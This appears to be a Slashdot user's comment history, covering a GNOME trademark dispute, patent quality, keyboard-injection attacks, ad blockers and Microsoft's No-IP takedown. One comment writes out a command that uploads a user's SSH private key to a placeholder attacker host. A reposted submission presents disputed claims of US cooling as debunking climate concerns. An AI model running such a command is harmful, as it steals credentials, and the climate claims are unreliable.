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Comment Re:Don't mess with the geek's toys (Score 1) 114

I disagree. If I were the tech guy at say...Lowes (which, admittedly, I'm not), the similar name would be a point of confusion for middle management.

Manager: "Hey, I heard about this new Gnome thing that Groupon is offering to install for Significantly Reduced Prices. You've been bothering me for the last year about upgrading our own gnome system, why not let them do the upgrade?"
IT Guy: "There's a huge difference between GNOME and Gnome, sir."
Manager: "Doesn't sound like there is, they both do point of sale, and Groupon has TOUCH! Everybody wants touchscreens, right?"
IT Guy: "Please just kill me now"

Yes, there's a lot of copyright bullshittery happening...but despite my own personal distaste for the GNOME project, this is bigger than that. Given that Groupon was trying to establish a presence in a market that GNOME already had a presence in, I'd think it'd kinda fall into the realm of "valid defense of a mark".

To use the vulnerable car analogy:
The GNOME group was running a small dealership that gave away free mopeds with the "GNOME" name on them.
A nearby radio station decides to start up a motorcycle dealership, selling motorbikes they call "Gnome".
End result would be that if I say "I got a payout from my bitcoin miner, I'm going to go buy myself a gnome", you might not know whether I'm getting a moped or a motorbike.

Comment Re:Public servants don't give an arm and a leg (Score 1) 327

No clue why this was marked "redundant". From what I can see, this is the point that everyone else is missing...it's not about a couple of guys occasionally goofing off, it's a culture of slacking off, then rushing and pushing through shoddy work, which has resulted in some fairly retarded patents getting approved, even in cases where prior art was clear.

Comment Re:How is this viable as an attack medium? (Score 2) 205

I'd be interested to see how well this works against linux workstations. Having the ability to arbitrarily send keyboard commands will only be effective if a) they're the correct key commands (eg, the shortcut to open the terminal client, or a web browser, which changes depending on your desktop environment) and you can actually *do* those commands. Eg, "rm -rf /" isn't going to work without the superuser password.

That said...something like "cd ~/.ssh;ftp attack@myserver.hack;put id_rsa;exit" wouldn't necessarily need any sort of high level access...and getting ahold of someone's private key is akin to getting the holy grail, especially if you can do it without them realizing it.

Comment Re: uno (Score 1) 160

Who is surfing to such sites without AdBlocker and NoScript shields up

I basically came here to say exactly this. Adblock Plus, NoScript, Ghostery, FlashBlock...whenever I browse the internet without them (eg, on a friend's computer, or when doing tech support, or when re-installing an OS) I have a moment of "...the heck are these abominations?" before I remember that, oh right, the internet has ads.

Submission + - New released NOAA data now confirms decades long cooling (forbes.com)

bricko writes: National Oceanic and Atmospheric Administration’s most accurate, up-to-date temperature data confirm the United States has been cooling for at least the past decade.

Responding to widespread criticism that its temperature station readings were corrupted by poor citing issues and suspect adjustments, NOAA established a network of 114 pristinely sited temperature stations spread out fairly uniformly throughout the United States. Because the network, known as the U.S. Climate Reference Network (USCRN), is so uniformly and pristinely situated, the temperature data require no adjustments to provide an accurate nationwide temperature record. USCRN began compiling temperature data in January 2005. Now, nearly a decade later, NOAA has finally made the USCRN temperature readings available.

According to the USCRN temperature readings, U.S. temperatures are not rising at all – at least not since the network became operational 10 years ago. Instead, the United States has cooled by approximately 0.4 degrees Celsius, which is more than half of the claimed global warming of the twentieth century.

USCRN data debunk claims that rising U.S. temperatures caused wildfires, droughts, or other extreme weather events during the past year. The objective data show droughts, wildfires, and other extreme weather events have become less frequent and severe in recent decades as our planet modestly warms. But even ignoring such objective data, it is difficult to claim global warming is causing recent U.S. droughts and wildfires when U.S. temperatures are a full 0.4 degrees Celsius colder than they were in 2005.

Comment Re:Sue them for all they're worth (Score 2) 495

Try reading a bit deeper. This from the TechNet article:

On June 19, Microsoft filed for an ex parte temporary restraining order...

ex parte : "a legal proceeding brought by one person in the absence of and without representation or notification of other parties."

Translation: Microsoft *never notified* No-IP. There was no summons. There was no notification. There was no chance to file for a stay of judgement or make an appeal.

Comment Re:De-facto reality (Score 1) 303

I already commented on this thread, otherwise I'd be modding this comment up.

Every few months, I use a browser without the essentials (NoScript/FlashBlock/Ghostery/AdBlockPlus) installed, and the internet is nearly unusable. Popups, ads, popup ads, autoplaying media, autoplaying media ads...the list goes on. Running the gantlet almost isn't worth it, and I retreat back into the solitude that is the ad-free internet.

I still don't understand how people still use IE.

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